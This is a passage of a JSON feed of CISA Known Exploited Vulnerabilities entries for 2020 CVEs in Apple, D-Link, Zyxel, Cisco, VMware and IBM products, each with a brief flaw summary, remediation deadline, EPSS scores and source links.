score","url":"https://api.first.org/data/v1/epss?cve=CVE-2020-27932&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2020-27932, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2020-27950","cveId":"CVE-2020-27950","aliases":[],"kind":"vulnerability","title":"Apple Multiple Products Memory Initialization Vulnerability","summary":"Apple iOS, iPadOS, macOS, and watchOS contain a memory initialization vulnerability that may allow a malicious application to disclose kernel memory.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"Apple","product":"Multiple Products","stacks":["Apple","Multiple Products"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2022-05-03","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.1652,"percentile":0.96973,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2020-27950&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2020-27950","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2020-27950 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2020-27950&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2020-27950, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2020-29557","cveId":"CVE-2020-29557","aliases":[],"kind":"vulnerability","title":"D-Link DIR-825 R1 Devices Buffer Overflow Vulnerability","summary":"D-Link DIR-825 R1 devices contain a buffer overflow vulnerability in the web interface that may allow for remote code execution.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"D-Link","product":"DIR-825 R1 Devices","stacks":["D-Link","DIR-825 R1 Devices"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2022-05-03","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.55747,"percentile":0.99034,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2020-29557&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2020-29557","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2020-29557 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2020-29557&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2020-29557, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2020-29583","cveId":"CVE-2020-29583","aliases":[],"kind":"vulnerability","title":"Zyxel Multiple Products Use of Hard-Coded Credentials Vulnerability","summary":"Zyxel firewalls (ATP, USG, VM) and AP Controllers (NXC2500 and NXC5500) contain a use of hard-coded credentials vulnerability in an undocumented account (\"zyfwp\") with an unchangeable password.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"Zyxel","product":"Multiple Products","stacks":["Zyxel","Multiple Products"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2022-05-03","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.90155,"percentile":0.99795,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2020-29583&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2020-29583","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2020-29583 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2020-29583&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2020-29583, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2020-3118","cveId":"CVE-2020-3118","aliases":[],"kind":"vulnerability","title":"Cisco IOS XR Software Discovery Protocol Format String Vulnerability","summary":"Cisco IOS XR improperly validates string input from certain fields in Cisco Discovery Protocol messages. Exploitation could allow an unauthenticated, adjacent attacker to execute code with administrative privileges or cause a reload on an affected device.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"Cisco","product":"IOS XR","stacks":["Cisco","IOS XR"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2022-05-03","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.11685,"percentile":0.96029,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2020-3118&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2020-3118","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2020-3118 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2020-3118&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2020-3118, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2020-3161","cveId":"CVE-2020-3161","aliases":[],"kind":"vulnerability","title":"Cisco IP Phones Web Server Remote Code Execution and Denial-of-Service Vulnerability","summary":"Cisco IP Phones contain an improper input validation vulnerability for HTTP requests. Exploitation could allow an attacker to execute code remotely with root privileges or cause a denial-of-service (DoS) condition.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"Cisco","product":"Cisco IP Phones","stacks":["Cisco","Cisco IP Phones"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2022-05-03","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.83855,"percentile":0.99687,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2020-3161&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2020-3161","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2020-3161 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2020-3161&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2020-3161, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2020-3452","cveId":"CVE-2020-3452","aliases":[],"kind":"vulnerability","title":"Cisco ASA and FTD Read-Only Path Traversal Vulnerability","summary":"Cisco Adaptive Security Appliance (ASA) and Firepower Threat Defense (FTD) contain an improper input validation vulnerability when HTTP requests process URLs.  An attacker could exploit this vulnerability by sending a crafted HTTP request containing directory traversal character sequences to an affected device. A successful exploit could allow the attacker to view arbitrary files within the web services file system on the targeted device.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"Cisco","product":"Adaptive Security Appliance (ASA) and Firepower Threat Defense (FTD)","stacks":["Cisco","Adaptive Security Appliance (ASA) and Firepower Threat Defense (FTD)"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2022-05-03","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.99992,"percentile":0.99986,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2020-3452&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2020-3452","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2020-3452 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2020-3452&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2020-3452, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2020-3566","cveId":"CVE-2020-3566","aliases":[],"kind":"vulnerability","title":"Cisco IOS XR Software DVMRP Memory Exhaustion Vulnerability","summary":"Cisco IOS XR Distance Vector Multicast Routing Protocol (DVMRP) incorrectly handles Internet Group Management Protocol (IGMP) packets. Exploitation could allow an unauthenticated, remote attacker to immediately crash the IGMP process or make it consume available memory and eventually crash.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"Cisco","product":"IOS XR","stacks":["Cisco","IOS XR"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2022-05-03","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.03702,"percentile":0.89658,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2020-3566&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2020-3566","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2020-3566 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2020-3566&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2020-3566, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2020-3569","cveId":"CVE-2020-3569","aliases":[],"kind":"vulnerability","title":"Cisco IOS XR Software DVMRP Memory Exhaustion Vulnerability","summary":"Cisco IOS XR Distance Vector Multicast Routing Protocol (DVMRP) incorrectly handles Internet Group Management Protocol (IGMP) packets. Exploitation could allow an unauthenticated, remote attacker to immediately crash the IGMP process or make it consume available memory and eventually crash.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"Cisco","product":"IOS XR","stacks":["Cisco","IOS XR"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2022-05-03","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.0332,"percentile":0.88499,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2020-3569&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2020-3569","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2020-3569 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2020-3569&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2020-3569, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2020-3580","cveId":"CVE-2020-3580","aliases":[],"kind":"vulnerability","title":"Cisco ASA and FTD Cross-Site Scripting (XSS) Vulnerability","summary":"Cisco Adaptive Security Appliance (ASA) and Firepower Threat Defense (FTD) contain an insufficient input validation vulnerability for user-supplied input by the web services interface.  Successful exploitation could allow an attacker to perform cross-site scripting (XSS) in the context of the interface or access sensitive browser-based information.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"Cisco","product":"Adaptive Security Appliance (ASA) and Firepower Threat Defense (FTD)","stacks":["Cisco","Adaptive Security Appliance (ASA) and Firepower Threat Defense (FTD)"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2022-05-03","action":"Apply updates per vendor instructions.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.85575,"percentile":0.99721,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2020-3580&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2020-3580","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2020-3580 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2020-3580&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2020-3580, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2020-3950","cveId":"CVE-2020-3950","aliases":[],"kind":"vulnerability","title":"VMware Multiple Products Privilege Escalation Vulnerability","summary":"VMware Fusion, Remote Console (VMRC) for Mac, and Horizon Client for Mac contain a privilege escalation vulnerability due to improper use of setuid binaries that allows attackers to escalate privileges to root.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"VMware","product":"Multiple Products","stacks":["VMware","Multiple Products"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2022-05-03","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.07254,"percentile":0.94298,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2020-3950&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2020-3950","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2020-3950 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2020-3950&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2020-3950, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2020-3952","cveId":"CVE-2020-3952","aliases":[],"kind":"vulnerability","title":"VMware vCenter Server Information Disclosure Vulnerability","summary":"VMware vCenter Server contains an information disclosure vulnerability in the VMware Directory Service (vmdir) when the Platform Services Controller (PSC) does not correctly implement access controls. Successful exploitation allows an attacker with network access to port 389 to extract sensitive information.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"VMware","product":"vCenter Server","stacks":["VMware","vCenter Server"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2022-05-03","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.90384,"percentile":0.99797,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2020-3952&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2020-3952","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2020-3952 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2020-3952&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2020-3952, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2020-3992","cveId":"CVE-2020-3992","aliases":[],"kind":"vulnerability","title":"VMware ESXi OpenSLP Use-After-Free Vulnerability","summary":"VMware ESXi OpenSLP contains a use-after-free vulnerability that allows an attacker residing in the management network with access to port 427 to perform remote code execution.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"VMware","product":"ESXi","stacks":["VMware","ESXi"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2022-05-03","action":"Apply updates per vendor instructions.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.83015,"percentile":0.99671,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2020-3992&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2020-3992","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2020-3992 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2020-3992&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2020-3992, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2020-4006","cveId":"CVE-2020-4006","aliases":[],"kind":"vulnerability","title":"VMware Multiple Products: Multiple VMware Products Command Injection Vulnerability","summary":"VMware Workspace One Access, Access Connector, Identity Manager, and Identity Manager Connector contain a command injection vulnerability. An attacker with network access to the administrative configurator on port 8443 and a valid password for the configurator administrator account can execute commands with unrestricted privileges on the underlying operating system.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"VMware","product":"Multiple Products","stacks":["VMware","Multiple Products"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2022-05-03","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.17302,"percentile":0.97085,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2020-4006&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2020-4006","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2020-4006 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2020-4006&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2020-4006, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2020-4427","cveId":"CVE-2020-4427","aliases":[],"kind":"vulnerability","title":"IBM Data Risk Manager Security Bypass Vulnerability","summary":"IBM Data Risk Manager contains a security bypass vulnerability that could allow a remote attacker to bypass security restrictions when configured with SAML authentication. By sending a specially crafted HTTP request, an attacker could exploit this vulnerability to bypass the authentication process and gain full administrative access to the system.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"IBM","product":"Data Risk Manager","stacks":["IBM","Data Risk Manager"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2022-05-03","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.70031,"percentile":0.99371,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2020-4427&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2020-4427","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2020-4427 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2020-4427&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2020-4427, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2020-4428","cveId":"CVE-2020-4428","aliases":[],"kind":"vulnerability","title":"IBM Data Risk Manager Remote Code Execution Vulnerability","summary":"IBM Data Risk Manager contains an unspecified vulnerability which could allow a remote, authenticated attacker to execute commands on the system.�","detail":"CISA added this entry on 2021-11-03. This record's publication 